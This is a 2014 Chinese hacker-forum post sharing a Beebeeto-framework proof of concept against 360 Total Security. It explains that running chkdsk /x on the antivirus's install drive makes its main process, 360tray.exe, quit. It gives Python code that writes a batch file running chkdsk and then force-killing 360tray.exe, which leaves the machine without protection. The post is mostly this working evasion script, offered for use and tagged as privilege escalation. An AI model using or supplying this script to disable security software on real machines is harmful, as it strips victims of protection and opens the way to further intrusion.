搜索
查看: 312|回复: 0

360安全卫士chkdsk taskkill主进程 POC

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-11-26 20:01:11 | 显示全部楼层 |阅读模式
Author:        雷蜂

测试使用Windows XP SP3,VMware Workstation 10.0.3。
经测试,如果360安全卫士(其实不止360一家)安装在非系统盘(360自身默认安装在非系统盘),
然后对其所在盘符进行chkdsk /x 操作,其主防进程360tray.exe会自动强行退出,从而完全失去保护能力。

  1. #!/usr/bin/env python
  2. # coding=utf-8

  3. """
  4. Site: [url]http://www.beebeeto.com/[/url]
  5. Framework: [url]https://github.com/ff0000team/Beebeeto-framework[/url]
  6. """


  7. from baseframe import BaseFrame


  8. class MyPoc(BaseFrame):
  9.     poc_info = {
  10.         # poc相关信息
  11.         'poc': {
  12.             'id': 'poc-2014-0152',
  13.             'name': '360安全卫士安装非默认路径 chkdsk taskkill主进程 POC',
  14.             'author': '雷蜂',
  15.             'create_date': '2014-11-19',
  16.         },
  17.         # 协议相关信息
  18.         'protocol': {
  19.             'name': 'local',
  20.             'port': [0],
  21.             'layer3_protocol': [],
  22.         },
  23.         # 漏洞相关信息
  24.         'vul': {
  25.             'app_name': '360',
  26.             'vul_version': ['*'],
  27.             'type': 'Other',
  28.             'tag': ['本地提权', '杀掉360主进程', 'chkdsk taskkill', '360漏洞'],
  29.             'desc': '''
  30.                     Wooyun Author zhuixing:
  31.                     测试使用Windows XP SP3,VMware Workstation 10.0.3。
  32.                     经测试,如果360安全卫士(其实不止360一家)安装在非系统盘(360自身默认安装在非系统盘),
  33.                     然后对其所在盘符进行chkdsk /x 操作,其主防进程360tray.exe会自动强行退出,从而完全失去保护能力。

  34.                     ''',
  35.             'references': ['http://wooyun.org/bugs/wooyun-2014-078641',
  36.             ],
  37.         },
  38.     }


  39.     @classmethod
  40.     def verify(cls, args):
  41.         verify_url = args['options']['target']
  42.         payload = '''
  43. @echo off

  44. chkdsk /x e:

  45. taskkill /F /IM 360tray.exe /T
  46. '''
  47.         # write
  48.         test_bat = open('./360-taskkill.bat', 'w')
  49.         test_bat.write(payload)
  50.         test_bat.close()
  51.         args['success'] = True
  52.         args['poc_ret']['vul_url'] = 'Generation ok, file: ./360-taskkill.bat'
  53.         return args

  54.     exploit = verify


  55. if __name__ == '__main__':
  56.     from pprint import pprint

  57.     mp = MyPoc()
  58.     pprint(mp.run())
复制代码
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表